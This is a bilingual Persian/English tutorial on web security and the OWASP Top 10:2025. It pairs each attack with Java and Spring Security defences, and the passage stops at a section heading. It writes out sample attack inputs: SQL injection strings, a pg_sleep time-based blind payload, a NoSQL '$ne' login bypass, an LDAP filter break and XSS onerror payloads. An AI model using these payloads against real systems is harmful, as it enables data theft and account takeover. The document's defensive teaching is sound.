Security & Crypto · امنیت و رمزنگاری سنیورSenior ~61 دقیقه مطالعه~50 min read

امنیت وب و OWASP: XSS، CSRF، Injection و بیشترWeb Security & OWASP: XSS, CSRF, Injection and More

سفری حمله‌به‌حمله در امنیت وب و OWASP Top 10:2025 — از Injection و XSS و CSRF تا SSRF، IDOR، deserialization ناامن، XXE و ریسک زنجیرهٔ تأمین — با دفاع واقعی و copy-pasteable در Java و Spring Security، به‌علاوهٔ security headerها، CORS، rate limiting، مدل‌سازی تهدید با STRIDE و این‌که یک security review واقعی چطور اجرا می‌شود.An attack-by-attack tour of web security and the OWASP Top 10:2025 — Injection, XSS, CSRF, SSRF, IDOR, insecure deserialization, XXE and supply-chain risk — each paired with real, copy-pasteable Java and Spring Security defences, plus security headers, CORS, rate limiting, STRIDE threat modelling and how a genuine security review actually runs.


هر اپلیکیشن وبی یک قرارداد نانوشته با دنیای بیرون امضا می‌کند: «ورودی می‌گیرم و کار مفیدی می‌کنم.» مهاجم همان قرارداد را امضا می‌کند؛ فقط ورودی‌اش فرق دارد. امنیت وب یعنی سیستم با ورودی بدخواهانه هم به‌اندازهٔ ورودی سالم قابل‌پیش‌بینی بماند.

بیشتر مهندس‌ها امنیت را به‌شکل فهرستی از «نبایدها» یاد می‌گیرند: «SQL را concat نکن»، «innerHTML ننویس». این سطح تو را از junior رد می‌کند، از senior نه. آنچه یک interviewer ارشد می‌سنجد مکانیزم است: چرا PreparedStatement مسئله را حل می‌کند ولی escape دستی نه؟ چرا CSRF برای API با Authorization: Bearer بی‌موضوع می‌شود ولی برای همان API با cookie حیاتی است؟

نقشهٔ راه

۱. مدل ذهنی: مرز اعتماد، مدل مهاجم، OWASP Top 10:2025، و مدل‌سازی تهدید با STRIDE. ۲. خانوادهٔ Injection: SQL، NoSQL، LDAP، OS command، expression/template. ۳. XSS: stored/reflected/DOM، encoding آگاه به context، CSP. ۴. CSRF: مکانیزم، SameSite، توکن، و اثر REST + JWT. ۵. Broken Access Control: IDOR/BOLA، mass assignment، path traversal، open redirect، SSRF. ۶. احراز هویت و نشست، و misconfiguration: هدرها، CORS، actuatorها. ۷. Integrity: deserialization ناامن، gadget chain، XXE، و مطالعهٔ موردی Log4Shell. ۸. زنجیرهٔ تأمین، logging امن، پیکربندی مرجع Spring Security، و روند یک security review.

فصل‌های spring-security، ms-security (OAuth2/JWT/RBAC/ABAC)، api-design، validation-mapstruct و logging را دوباره درس نمی‌دهیم؛ فقط ارجاع می‌دهیم.


۱. مدل ذهنی: مرز اعتماد و مدل مهاجم

پیشخوان بانک

تحویل‌دار بانک به برگه‌ای که مشتری هل می‌دهد اعتماد نمی‌کند؛ برگه فقط یک درخواست است. حالا برگه‌ای برسد با متن «۱۰۰ هزار برداشت کن، ضمناً از حساب کناری ۵ میلیون بریز» — اگر تحویل‌دار دستور را از داده تفکیک نکند، کار تمام است. هر جا داده از ناحیهٔ کم‌اعتماد وارد ناحیهٔ پُراعتماد می‌شود یک trust boundary است: browser→server، server→DB، سرویس→سرویس، فایل آپلودی→پردازشگر. اولین سؤال هنگام خواندن کد ناآشنا: «داده از کجا آمد و کجا از مرز رد شد؟»

سه مدل مهاجم همیشه حاضرند: مهاجم شبکه (ترافیک را می‌بیند یا دستکاری می‌کند → TLS، HSTS، cookie با Secureمهاجم وب (فقط یک سایت دارد و قربانی را به آن می‌کشاند → CSRF، clickjacking، XSS انعکاسی؛ ارزان‌ترین و خطرناک‌ترین)؛ و کاربر احرازهویت‌شدهٔ بدخواه (حساب واقعی دارد و دنبال دادهٔ دیگران است → IDOR).

و یک اصل غیرقابل‌مذاکره: کلاینت تو یک برنامهٔ HTTP است که هر کسی می‌تواند با curl جایش را بگیرد؛ اعتبارسنجی سمت client فقط تجربهٔ کاربری است و هر قاعده باید سمت server مستقلاً دوباره اجرا شود.

OWASP Top 10 چیست

OWASP یک بنیاد غیرانتفاعی است و Top 10 یک سند آگاهی‌بخشی، نه استاندارد ممیزی:

رتبه ۲۰۲۵ عنوان نسبت به ۲۰۲۱
A01:2025 Broken Access Control A01 بود؛ حالا SSRF را هم جذب کرده
A02:2025 Security Misconfiguration از A05 سه پله بالا
A03:2025 Software Supply Chain Failures گسترش «Vulnerable and Outdated Components»
A04:2025 Cryptographic Failures از A02 پایین
A05:2025 Injection از A03 پایین (XSS همچنان زیر همین چتر)
A06:2025 Insecure Design از A04 پایین
A07:2025 Authentication Failures ثابت
A08:2025 Software or Data Integrity Failures ثابت (deserialization ناامن اینجاست)
A09:2025 Security Logging and Alerting Failures ثابت
A10:2025 Mishandling of Exceptional Conditions جدید: fail-open و مدیریت غلط شرایط استثنایی

دو تغییر ۲۰۲۵ را باید بلد باشی: SSRF دیگر دستهٔ مستقل نیست و ذیل Broken Access Control آمده، و A10 برای اولین بار وارد شده — یعنی صنعت پذیرفته «چه می‌شود وقتی چیزی خراب می‌شود» خودش یک دستهٔ آسیب‌پذیری است. و اگر تیمی بگوید «ما Top 10 را پوشش داده‌ایم پس امنیم»، پرچم قرمز است: Top 10 عمداً کوتاه است؛ مرجع سیستماتیک OWASP ASVS است و برای APIها OWASP API Security Top 10.


۲. مدل‌سازی تهدید با STRIDE

می‌توانی نصف باگ‌های امنیتی را قبل از نوشتن کد پیدا کنی. STRIDE سرنام شش دسته تهدید است و هر دسته نقض یکی از شش خاصیت امنیتی:

حرف تهدید خاصیت نقض‌شده نمونهٔ وب
S Spoofing Authentication دزدیدن session cookie
T Tampering Integrity دستکاری قیمت در payload
R Repudiation Non-repudiation نبود audit log تراکنش
I Information Disclosure Confidentiality stack trace در پاسخ ۵۰۰
D Denial of Service Availability regex نمایی، آپلود بی‌حد
E Elevation of Privilege Authorization IDOR، دور زدن نقش

روش کار: یک data flow diagram بکش، مرزهای اعتماد را علامت بزن، و برای هر مرز شش سؤال بالا را بپرس.

نمودار جریان داده با مرزهای اعتماد — Data flow diagram with trust boundaries:

flowchart LR
    U[Browser / Mobile] -->|HTTPS| GW[API Gateway]
    GW -->|JWT| SVC[Order Service]
    SVC -->|JDBC| DB[(PostgreSQL)]
    SVC -->|HTTP| EXT[Third-party Payment API]
    ADM[Admin Console] -->|HTTPS| GW
    subgraph TB1[Trust boundary: public internet]
        U
        ADM
    end
    subgraph TB2[Trust boundary: internal network]
        SVC
        DB
    end

مرز U → GW تهدید S و T و D دارد؛ SVC → EXT خانهٔ SSRF است؛ SVC → DB خانهٔ Injection.


۳. خانوادهٔ Injection (A05:2025)

جمله‌ای که وسطش نقل‌قول باز می‌شود

به دستیارت می‌گویی: «به آقای X بگو [این متن] و برو خانه.» اگر «این متن» را کسی پر کند با «هیچی، حالا کل پول صندوق را به من بده و برو خانه»، دستیار نمی‌فهمد کجا دستور تو بود و کجا متن نقل‌شده. همهٔ Injectionها همین‌اند: یک زبان مفسر (SQL، shell، LDAP filter، JavaScript، expression language) که در آن داده و دستور در یک رشتهٔ مسطح قاطی می‌شوند. قاعدهٔ طلایی: داده را با کانال جداگانه از دستور جدا کن، نه با escape.

۳.۱ SQL Injection

// VULNERABLE: data and command share one flat string
String sql = "SELECT id, email, role FROM users WHERE email = '" + email + "'";
try (Statement st = connection.createStatement();
     ResultSet rs = st.executeQuery(sql)) { ... }

با email = ' OR '1'='1 دیتابیس این را می‌بیند:

SELECT id, email, role FROM users WHERE email = '' OR '1'='1';

قدم بعدی مهاجم UNION ALL است تا ستون‌های دلخواه را بیرون بکشد — در PostgreSQL با current_setting('is_superuser') و version()، و در Oracle با SYS_CONTEXT('USERENV','SESSION_USER') و v$versionFROM dual که Oracle برای SELECT بدون جدول لازم دارد). راه‌حل یکی است:

// SAFE: the SQL text is parsed once, parameters travel in a separate channel
try (PreparedStatement ps = connection.prepareStatement(
        "SELECT id, email, role FROM users WHERE email = ?")) {
    ps.setString(1, email);
    try (ResultSet rs = ps.executeQuery()) { ... }
}
مکانیزم دقیق `PreparedStatement`

برخلاف تصور رایج، این کلاس «کوتیشن‌ها را escape نمی‌کند». دیتابیس ابتدا متن SQL را parse می‌کند و درخت اجرایی می‌سازد؛ در این لحظه جای ? یک placeholder تایپ‌دار است، نه سوراخ متنی. سپس مقادیر در پیام جداگانهٔ پروتکل (در PostgreSQL: Bind) می‌روند و هرگز parse نمی‌شوند. پس حتی اگر مقدار ' OR 1=1 -- باشد، دیتابیس دنبال کاربری با ایمیلِ دقیقاً همان رشته می‌گردد. جدا بودن کانال امنیت می‌آورد، نه هوشمندی escape.

در JPA هم همین منطق برقرار است:

// VULNERABLE
em.createQuery("select u from User u where u.email = '" + email + "'", User.class);

// SAFE — bound, not interpolated
em.createQuery("select u from User u where u.email = :email", User.class)
  .setParameter("email", email)
  .getResultList();
public interface UserRepository extends JpaRepository<User, Long> {
    Optional<User> findByEmailIgnoreCase(String email);          // derived: always parameterised

    @Query("select u from User u where u.email = :email and u.tenantId = :tenantId")
    Optional<User> findScoped(@Param("email") String email, @Param("tenantId") long tenantId);
}

تلهٔ ORDER BY داینامیک

ستون، نام جدول، ASC/DESC و کلمات کلیدی قابل bind نیستند؛ تنها مسیر امن allowlist است:

private static final Map<String, String> SORTABLE_COLUMNS =
        Map.of("createdAt", "created_at", "email", "email", "id", "id");

String column = SORTABLE_COLUMNS.get(sortKey);
if (column == null) throw new IllegalArgumentException("Unsupported sort key: " + sortKey);
String dir = "desc".equalsIgnoreCase(direction) ? "DESC" : "ASC";
String sql = "SELECT id, email, role FROM users ORDER BY " + column + " " + dir
           + " OFFSET ? ROWS FETCH NEXT ? ROWS ONLY";
SELECT id, email, role FROM users
ORDER BY created_at DESC
OFFSET 20 ROWS FETCH NEXT 10 ROWS ONLY;  -- PostgreSQL also accepts LIMIT 10 OFFSET 20
`Sort` در Spring Data و query‌های native

Spring Data برای query‌های derived و JPQL نام property‌های داخل Sort را اعتبارسنجی می‌کند. اما JpaSort.unsafe(...) عمداً این اعتبارسنجی را دور می‌زند، و در @Query(nativeQuery = true) عبارت مرتب‌سازی مستقیم به SQL می‌چسبد. اگر ورودی کاربر بدون allowlist وارد این دو مسیر شود، همان SQL Injection را ساخته‌ای، فقط با یک لایهٔ ORM رویش. هرگز Sort را مستقیم از query parameter نساز؛ اول به allowlist نگاشت کن. همین منطق برای LIKE هم هست: اگر wildcardهای % و _ را escape نکنی، مهاجم می‌تواند index را بی‌اثر و کوئری را به full scan تبدیل کند (یک DoS ارزان).

مهاجم همیشه خروجی نمی‌بیند؛ آن‌وقت سراغ blind و time-based می‌رود:

-- time-based: 5 seconds slower means the guessed condition was true
' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL --

و یک لایهٔ دفاعی که همیشه فراموش می‌شود: فرض کن روزی یک نقطه از قلم می‌افتد. کاربر دیتابیسِ اپ نباید SUPERUSER/DBA باشد یا DROP داشته باشد، و بهتر است روی جدول‌های حساس فقط SELECT ستون‌های لازم را بگیرد (در PostgreSQL GRANT سطح ستون، در Oracle view + GRANT SELECT). این تفاوت «نشت یک جدول» و «از دست رفتن کل دیتابیس» است — عمق بیشتر در sql-mastery.

«آیا ORM جلوی SQL Injection را می‌گیرد؟»

پاسخ: نه ذاتاً؛ ORM فقط مسیر امن را پیش‌فرض می‌کند. Hibernate برای query‌های derived و JPQL با پارامتر نام‌دار bind واقعی انجام می‌دهد، اما سه راه فرار هست: ساختن رشتهٔ JPQL/HQL با concat؛ nativeQuery = true با درون‌ریزی؛ و بخش‌هایی که اصلاً قابل bind نیستند — نام ستون، جهت مرتب‌سازی، نام جدول، و pattern در LIKE. برای آن‌ها تنها دفاع allowlist است. ORM سطح حمله را کوچک می‌کند، حذفش نمی‌کند.

۳.۲ NoSQL Injection

در MongoDB خودِ query یک document است؛ اگر کاربر ساختارش را کنترل کند، به‌جای رشته عملگر تزریق می‌کند:

// VULNERABLE: user-controlled JSON becomes part of the query document
collection.find(Document.parse("{ \"email\": " + rawUserInput + " }")).first();

// SAFE: build criteria programmatically; values stay values
User user = mongoTemplate.findOne(new Query(Criteria.where("email").is(email)), User.class);

با rawUserInput = {"$ne": null} فیلتر می‌شود «هر کاربری که ایمیلش null نیست» — دور زدن کامل login.

۳.۳ LDAP Injection

فیلترهای LDAP هم زبان‌اند: (&(uid=alice)(objectClass=person))؛ با *)(uid=*))(|(uid=* فیلتر باز می‌شود و همه را برمی‌گرداند.

String filter = "(uid=" + LdapEncoder.filterEncode(username) + ")";   // escape for the filter grammar
LdapQuery query = LdapQueryBuilder.query().where("uid").is(username);  // safer: the builder encodes

filterEncode() برای مقدار داخل فیلتر است و nameEncode() برای جزء DN؛ گرامرها متفاوت و غیرقابل‌تعویض‌اند — همان درس context.

۳.۴ OS Command Injection

// VULNERABLE: an explicit shell interprets ; | && $() and friends
new ProcessBuilder("/bin/sh", "-c", "convert " + fileName + " out.png").start();
// SAFE: no shell, arguments passed as a real argv array
Process p = new ProcessBuilder("/usr/bin/convert", inputPath.toString(), outputPath.toString())
        .redirectErrorStream(true)
        .start();
if (!p.waitFor(30, TimeUnit.SECONDS)) {
    p.destroyForcibly();
    throw new IllegalStateException("convert timed out");
}
سه تلهٔ ظریف در Injectionهای غیر-SQL

(۱) Runtime.getRuntime().exec(String) shell اجرا نمی‌کند؛ رشته را با new StringTokenizer(command) فقط روی فاصله می‌شکند، پس ; chaining نمی‌سازد — اما argument injection ممکن است (تزریق flagی مثل --output=...). این متدهای تک‌رشته‌ای از Java 18 به بعد deprecated شده‌اند؛ به ProcessBuilder مهاجرت کن، مسیر اجرایی را مطلق بده و مقدار را اعتبارسنجی کن.

(۲) در MongoDB هرگز JSON خام از body را filter نکن؛ به DTO تایپ‌دار bind کن. $where و $function جاوااسکریپت سمت سرور اجرا می‌کنند — با security.javascriptEnabled: false خاموششان کن. و مقایسهٔ رمز را داخل query نگذار، وگرنه یک $regex کافی است تا کاراکتربه‌کاراکتر حدس زده شود.

(۳) مفسرهای پنهان: رشتهٔ کاربر را هرگز به SpelExpressionParser.parseExpression() یا مقدار @PreAuthorize نده (RCE مستقیم)، و خودِ قالب در Thymeleaf/Freemarker نباید از داده ساخته شود.

«تفاوت validation ورودی و encoding خروجی چیست و کدام مهم‌تر است؟»

پاسخ: دو کنترل متفاوت. Validation روی مرز ورودی می‌پرسد «این داده شکل درستی دارد؟». Encoding/parameterisation روی مرز خروجی به مفسر مقصد می‌گوید «این تکه داده است نه دستور». مهم‌تر دومی است، چون validation نمی‌داند داده بعداً در SQL می‌نشیند یا HTML یا فیلتر LDAP و هر کدام گرامر متفاوتی دارند — یک نام کاملاً معتبر مثل O'Brien هم SQL را می‌شکند اگر پارامتری نباشد. در عمل هر دو را می‌خواهم: validation سطح حمله را کم می‌کند، encoding آسیب‌پذیری را می‌بندد. جزئیات Bean Validation در validation-mapstruct.


۴. Cross-Site Scripting (XSS)

XSS یعنی اجرای کد مهاجم در origin تو

تابلوی اعلانات شرکتی را تصور کن که هر کسی می‌تواند رویش برگه بچسباند و کارمندان هر چه ببینند اجرا می‌کنند؛ تابلو راهی برای اثبات منشأ ندارد. مرورگر هم همین است: هر <script> داخل سند تو را با اختیارات کامل origin تو اجرا می‌کند — خواندن DOM، خواندن localStorage، فرستادن درخواست با cookieهای کاربر. نکتهٔ حیاتی: HttpOnly cookie را از دید JavaScript پنهان می‌کند، اما XSS همچنان می‌تواند با آن cookie درخواست بفرستد. پس HttpOnly سرقت توکن را سخت می‌کند، سوءاستفاده را نه. XSS در عمل یعنی «کاربر تسخیر شد».

سه گونه: Stored (ورودی مهاجم ذخیره و به همه سرو می‌شود — خطرناک‌ترین، چون نیازی به فریب قربانی ندارد)، Reflected (در همان پاسخ برمی‌گردد و به یک کلیک نیاز دارد)، و DOM-based (سرور درگیر نیست؛ JavaScript سمت client مقدار location.hash را در sinkی مثل innerHTML می‌نویسد).

چرا context همه‌چیز است

«escape کردن» یک عمل واحد نیست؛ برای هر جایگاه در سند، گرامر فرق می‌کند:

Context خروجی نمونه encoder درست (OWASP Java Encoder)
متن HTML <p>HERE</p> Encode.forHtml(v)
مقدار attribute بدون کوتیشن <div class=HERE> Encode.forHtmlAttribute(v)
داخل <script> به‌عنوان literal var x = 'HERE'; Encode.forJavaScript(v)
URL در href/src <a href="/go?q=HERE"> Encode.forUriComponent(v)
داخل CSS color: HERE; Encode.forCssString(v)
رویداد inline onclick="HERE" از اساس ننویس
<!-- th:text escapes for the HTML text context (safe by default) -->
<p th:text="${comment.body}">placeholder</p>

<!-- th:utext renders raw HTML — only for content you sanitised yourself -->
<div th:utext="${sanitisedRichText}"></div>

<!-- inline JS: Thymeleaf escapes for the JavaScript context, not the HTML one -->
<script th:inline="javascript">
  const userName = /*[[${user.name}]]*/ 'placeholder';
</script>

برای محتوای غنی که واقعاً باید HTML بماند، sanitize کن نه escape:

با کتابخانهٔ com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer (نسخهٔ ۲۰۲۶۰۳۱۳.۱):

private static final PolicyFactory POLICY = Sanitizers.FORMATTING
        .and(Sanitizers.BLOCKS)
        .and(Sanitizers.LINKS)                       // forces safe schemes, adds rel=nofollow
        .and(new HtmlPolicyBuilder().allowElements("p", "ul", "li", "code", "pre").toFactory());

String safeHtml = POLICY.sanitize(untrustedHtml);    // allowlist-based, not blacklist
دو باور غلط که XSS را زنده نگه می‌دارند

(۱) «HTML-escape کردم پس امن است.» اگر بنویسی var name = '${Encode.forHtml(userName)}'; و مهاجم ';alert(1);// بفرستد، هیچ‌کدام از این کاراکترها HTML entity ندارند و رشتهٔ JavaScript می‌شکند. context خروجی تعیین‌کننده است نه نوع داده. قاعدهٔ عملی: داده را از HTML به JS با یک data-* attribute یا بلاک <script type="application/json"> منتقل کن، نه با درون‌ریزی مستقیم در کد.

(۲) «یک regex نوشتم که <script را حذف می‌کند.» با <ScRiPt، <img src=x onerror=...>، <svg onload=...> و mutation XSS دور زده می‌شود؛ HTML گرامری بازیابی‌شونده است و مرورگر markup خراب را «تعمیر» می‌کند و همان تعمیر payload می‌سازد. تنها sanitizer قابل‌اعتماد آن است که HTML را واقعاً parse کند و بر پایهٔ allowlist بازتولید کند.

Content Security Policy: خط دفاع دوم

یک سیاست سخت‌گیرانه با nonce تازه در هر درخواست:

byte[] bytes = new byte[16];
new SecureRandom().nextBytes(bytes);
String nonce = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
request.setAttribute("cspNonce", nonce);
response.setHeader("Content-Security-Policy",
        "default-src 'self'; script-src 'nonce-" + nonce + "' 'strict-dynamic' https:; "
      + "object-src 'none'; base-uri 'none'; frame-ancestors 'none'; "
      + "require-trusted-types-for 'script'; report-uri /csp-report");

اگر سیاست ثابت است، DSL خود Spring Security کافی است:

http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp
        .policyDirectives("default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'"))
);

// roll it out in report-only mode first: add .reportOnly() to the same builder
قضاوت senior دربارهٔ CSP

یک CSP سخت که مستقیم enforce شود معمولاً روز اول نصف UI را می‌شکند. مسیر حرفه‌ای: چند هفته Content-Security-Policy-Report-Only، جمع‌آوری گزارش، تمیز کردن inline scriptها، بعد enforce. و 'unsafe-inline' را «موقتاً» نگذار که بماند — با nonce یا hash جایگزینش کن. ضمناً Spring Security پیش‌فرض X-XSS-Protection: 0 می‌فرستد و عمداً فیلتر heuristic قدیمی مرورگر را خاموش می‌کند چون خودش منشأ باگ بود؛ توصیهٔ 1; mode=block منسوخ است — پاسخ درست CSP است.

«چطور XSS را در یک اپلیکیشن موجود سیستماتیک می‌بندی؟»

پاسخ: لایه‌لایه. ۱) encoding پیش‌فرض در موتور قالب، و ممنوع کردن فرارهای خام (th:utext, dangerouslySetInnerHTML) با یک lint rule در CI مگر با استثنای امضاشده. ۲) sanitize کردن HTML غنی در یک نقطهٔ متمرکز، ترجیحاً موقع نمایش نه ذخیره، تا بتوانی سیاست را بعداً سخت‌تر کنی. ۳) CSP با nonce. ۴) سخت کردن cookie. ۵) کاهش تأثیر با توکن کوتاه‌عمر و تأیید مجدد برای عملیات حساس. و در آخر تست خودکار: DAST یا حداقل مجموعه‌ای از payloadهای شناخته‌شده در تست‌های integration.

«چرا `HttpOnly` جلوی XSS را نمی‌گیرد؟»

پاسخ: چون فقط خواندن cookie را از JavaScript می‌گیرد. مهاجمی که در origin من کد اجرا می‌کند لازم نیست cookie را ببیند؛ کافی است fetch('/api/transfer', {method:'POST', credentials:'include'}) بزند و مرورگر خودش cookie را ضمیمه می‌کند. پس HttpOnly کنترل کاهش تأثیر است نه پیشگیری. و اگر برای فرار از آن توکن را در localStorage بگذاری وضع بدتر می‌شود: آنجا نه HttpOnly داری نه SameSite.


۵. Cross-Site Request Forgery (CSRF)

مرورگر تو cookie نشست را خودکار ضمیمه می‌کند، بی‌اعتنا به این‌که درخواست از کدام سایت شروع شده؛ مهاجم فقط باید تو را وادار کند صفحه‌اش را باز کنی.

جریان حملهٔ CSRF — CSRF attack flow:

sequenceDiagram
    participant V as Victim Browser
    participant E as evil.example
    participant B as bank.example
    V->>B: Login (session cookie stored)
    V->>E: Visits attacker page
    E-->>V: Auto-submitted form targeting bank.example/transfer
    V->>B: POST /transfer (session cookie attached automatically)
    B->>B: Cookie is valid, request looks authentic
    B-->>V: 200 Money moved
شرط لازم CSRF: احراز هویت ضمنی (ambient authority)

CSRF فقط وقتی ممکن است که مرورگر بتواند بدون دخالت کد صفحه اعتبارنامه را ضمیمه کند: session cookie، HTTP Basic، یا گواهی کلاینت. اگر اپ توکن را در هدر Authorization: Bearer می‌فرستد — که فقط JavaScript خودت می‌تواند بسازد — سایت مهاجم راهی برای ساختن آن هدر ندارد و CSRF کلاسیک بی‌اثر می‌شود. این تک‌جمله نصف سؤال‌های مصاحبهٔ CSRF را جواب می‌دهد.

دفاع ۱: SameSite

Strict در هیچ ناوبری cross-site فرستاده نمی‌شود (امن‌ترین، ولی کاربری که از ایمیل روی لینک کلیک می‌کند نشستش را نمی‌بیند). Lax پیش‌فرض عملی مرورگرهای مدرن است: در ناوبری سطح-بالای GET بله، در POST cross-site نه. None همه‌جا می‌رود و الزاماً باید Secure باشد.

server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=lax

دفاع ۲: توکن synchronizer

سرور یک مقدار تصادفی در نشست نگه می‌دارد و همان را در فرم می‌گذارد؛ درخواست تغییر حالت فقط با توکن منطبق پذیرفته می‌شود و سایت مهاجم به‌خاطر same-origin policy نمی‌تواند توکن را بخواند. Spring Security این را برای متدهای غیرایمن (POST, PUT, PATCH, DELETE) پیش‌فرض روشن دارد.

@Bean
SecurityFilterChain csrfChain(HttpSecurity http) throws Exception {
    http.csrf(csrf -> csrf
            // BREACH-resistant handler is the default; shown explicitly for clarity
            .csrfTokenRequestHandler(new XorCsrfTokenRequestAttributeHandler())
            .ignoringRequestMatchers("/api/webhooks/**"));   // only stateless, signature-verified paths
    return http.build();
}

برای یک SPA که باید توکن را از cookie بخواند و در هدر بگذارد:

// Spring Security bundles the SPA-friendly repository and handler in one call
http.csrf(csrf -> csrf.spa());

// or explicitly
http.csrf(csrf -> csrf.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()));
چرا cookie توکن `HttpOnly` نیست و چرا توکن هر بار عوض می‌شود

JavaScript خودت باید توکن را بخواند تا در هدر X-XSRF-TOKEN بگذارد؛ این نقض HttpOnly نیست، چون توکن CSRF رازی در برابر XSS نیست بلکه اثباتی است که درخواست از همان origin آمده. و پیش‌فرض بودن XorCsrfTokenRequestAttributeHandler به‌خاطر حملهٔ BREACH است: وقتی پاسخ gzip می‌شود و روی TLS می‌رود، مهاجم می‌تواند از تغییرات اندازهٔ پاسخ، رازِ ثابتِ داخل بدنه را بایت‌به‌بایت حدس بزند؛ تصادفی‌سازی هر درخواست این کانال را می‌بندد. CsrfTokenRequestAttributeHandler (بدون Xor) دقیقاً برای انصراف از این محافظت است.

روش جلوی چه چیزی را می‌گیرد هزینه کِی انتخابش کن
SameSite=Lax اکثر POSTهای cross-site تقریباً صفر همیشه، به‌عنوان پایه
SameSite=Strict همهٔ درخواست‌های cross-site UX بد در ورود از لینک بیرونی کنسول ادمین، بانکداری
توکن synchronizer همهٔ CSRFهای نشست cookie-based انتقال توکن به فرم/SPA هر اپ cookie-based
هدر سفارشی + CORS سخت درخواست‌های ساده cross-site الزامی کردن preflight APIهای JSON-only
توکن Bearer در هدر CSRF را بی‌موضوع می‌کند نگه‌داری امن توکن (XSS!) API بدون حالت، موبایل
دو اشتباه پرتکرار CSRF

(۱) اتکای کامل به SameSite: Lax جلوی GETهای cross-site را نمی‌گیرد، پس هر endpointی که با GET تغییر حالت می‌دهد همچنان آسیب‌پذیر است (دلیل دیگری برای idempotent بودن GET؛ نگاه کن به api-design). ضمناً زیردامنه‌ها same-site محسوب می‌شوند: یک XSS روی blog.example.com می‌تواند به app.example.com درخواست same-site بزند.

(۲) csrf().disable() بدون فهمیدن چرا: فقط وقتی درست است که هیچ اعتبارنامه‌ای ambient نباشد. اگر JWT را در cookie می‌گذاری (رایج برای مقاومت در برابر XSS) دوباره ambient شده‌ای و به CSRF نیاز داری. قاعدهٔ تصمیم: «آیا مرورگر این اعتبارنامه را خودکار ضمیمه می‌کند؟ اگر بله، CSRF لازم است.»

«CSRF را در یک معماری میکروسرویس با gateway چطور مدیریت می‌کنی؟»

پاسخ: اول تصمیم می‌گیرم نشست کجا زندگی می‌کند. الگوی امن امروزی BFF است: مرورگر با gateway یک cookie نشست HttpOnly+Secure+SameSite دارد و gateway آن را به توکن دسترسی برای سرویس‌های پایین‌دست تبدیل می‌کند؛ آن‌وقت CSRF فقط در یک نقطه — لبهٔ gateway — لازم است و سرویس‌های داخلی که با Bearer صدا زده می‌شوند نیاز ندارند. جایگزینش این است که توکن را در localStorage مرورگر بگذاریم: CSRF حل می‌شود ولی XSS به سرقت توکن تبدیل می‌شود که بدتر است. پس مبادله را صریح می‌گویم و معمولاً cookie + CSRF token را انتخاب می‌کنم و ریسک XSS را با CSP کم می‌کنم. الگوهای توکن در ms-security.


۶. Broken Access Control (A01:2025)

دستهٔ شمارهٔ یک، چون برخلاف injection هیچ ابزار خودکاری نمی‌فهمد کدام کاربر باید به کدام رکورد دسترسی داشته باشد — این دانش فقط در سر تیم محصول است.

۶.۱ IDOR / BOLA

// VULNERABLE: authenticated, but not authorised
@GetMapping("/api/invoices/{id}")
public InvoiceDto get(@PathVariable long id) {
    return invoiceService.findById(id);   // any logged-in user can read any invoice
}

کاربر واردشده فقط id را عوض می‌کند و فاکتور شرکت دیگری را می‌بیند. سه دفاع، از ضعیف به قوی:

// 1) check after loading — works, but the object is already in memory
@PostAuthorize("returnObject.ownerId == authentication.name")
public InvoiceDto findById(long id) { ... }

// 2) push ownership into the query — the safest default
Optional<Invoice> findByIdAndTenantId(long id, long tenantId);
-- 3) enforce it below the application: PostgreSQL row level security
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY invoice_tenant_isolation ON invoices
  USING (tenant_id = current_setting('app.tenant_id')::bigint);
-- the application sets it per transaction:
SET LOCAL app.tenant_id = '42';

و یک هشدار: UUID یک کنترل امنیتی نیست. استفاده از UUID حمله را از «افزایش یک عدد» به «حدس ۱۲۲ بیت» تبدیل می‌کند و ارزش دارد، اما امنیت از طریق ابهام است: شناسه‌ها در لاگ، URL اشتراکی، هدر Referer و پاسخ APIهای دیگر نشت می‌کنند. UUID را بگیر، ولی کنترل authorization را هم بگذار؛ اگر در مصاحبه فقط UUID را جواب بدهی، رد می‌شوی.

«چطور مطمئن می‌شوی هیچ endpointی چک authorization را جا نینداخته؟»

پاسخ: به بازبینی انسانی اتکا نمی‌کنم. ۱) امن به‌صورت پیش‌فرض: anyRequest().authenticated() و در سطح متد @EnableMethodSecurity، با این قاعده که هر متد سرویس عمومی یا annotation دارد یا صریحاً @PreAuthorize("permitAll()"). ۲) فشار دادن مالکیت به لایهٔ داده: متد repositoryای که بدون tenantId جست‌وجو کند اصلاً وجود نداشته باشد — آنچه نمی‌شود نوشت، فراموش هم نمی‌شود. ۳) تست خودکار: یک تست پارامتریک که برای هر endpoint با کاربر A به منابع کاربر B درخواست می‌زند و انتظار ۴۰۳/۴۰۴ دارد؛ فهرست endpointها را از OpenAPI می‌گیرم تا endpoint جدید بدون تست وارد نشود.

۶.۲ Mass assignment

// VULNERABLE: the entity is the API contract; User has a `role` field
@PostMapping("/api/users")
public User create(@RequestBody User user) { return userRepository.save(user); }

مهاجم {"email":"a@b.c","role":"ADMIN"} می‌فرستد و ادمین می‌شود. راه‌حل، DTO ورودی صریح است:

// SAFE: an explicit inbound DTO — only fields the client may set
public record CreateUserRequest(@Email @NotBlank String email,
                                @Size(min = 12, max = 200) String password) { }

@PostMapping("/api/users")
public UserDto create(@Valid @RequestBody CreateUserRequest request) {
    return userService.register(request.email(), request.password());
}

و DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES را روشن کن تا فیلد ناشناخته خطا بدهد.

۶.۳ Path traversal

// SAFE: canonicalise first, then prove the result is inside the base directory
private static final Path BASE = Path.of("/srv/uploads").toAbsolutePath().normalize();

public byte[] read(String name) throws IOException {
    Path candidate = BASE.resolve(name).normalize();
    if (!candidate.startsWith(BASE)) {
        throw new AccessDeniedException("path traversal attempt");
    }
    return Files.readAllBytes(candidate);
}

۶.۴ Open redirect

// only relative paths that appear in an explicit allowlist may be redirected to
boolean ok = next != null && next.startsWith("/") && !next.startsWith("//")
          && ALLOWED_PATHS.contains(URI.create(next).getPath());
return ok ? "redirect:" + next : "redirect:/dashboard";
سه تلهٔ کنترل دسترسی که در بازبینی کد باید بو بکشی

